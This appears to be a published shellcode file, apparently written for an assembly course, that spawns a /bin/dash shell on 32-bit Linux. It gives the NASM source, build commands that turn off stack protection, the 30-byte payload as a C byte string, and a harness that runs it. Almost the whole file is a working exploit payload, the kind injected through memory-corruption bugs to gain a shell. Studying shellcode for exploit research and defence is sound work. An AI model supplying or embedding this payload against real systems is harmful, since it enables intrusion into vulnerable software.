a7ddd8282b
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76 lines
No EOL
1.4 KiB
C
76 lines
No EOL
1.4 KiB
C
/*
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################## Description ####################
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; Title : exec /bin/dash - Shellcode
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; Author : Hashim Jawad
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; Website : ihack4falafel[.]com
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; Twitter : @ihack4falafel
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; SLAE ID : SLAE-1115
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; Purpose : spawn /bin/dash shell
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; OS : Linux
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; Arch : x86
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; Size : 30 bytes
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################### dash.nasm #####################
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global _start
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section .text
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_start:
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; push NULL into the stack
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xor eax, eax
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push eax
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; push (////bin/dash) into the stack
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push 0x68736164
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push 0x2f6e6962
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push 0x2f2f2f2f
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; push ESP pointer to EBX
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mov ebx, esp
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; execute __NR_execve syscall
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push eax
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mov edx, esp
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push ebx
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mov ecx, esp
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mov al, 0xb
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int 0x80
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################### dash binary #####################
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nasm -f elf32 -o dash.o dash.nasm
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ld -z execstack -o dash dash.o
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################### Shellcode ########################
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objdump -d dash -M intel
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################## Compile #########################
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gcc -fno-stack-protector -z execstack dash.c -o dash
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |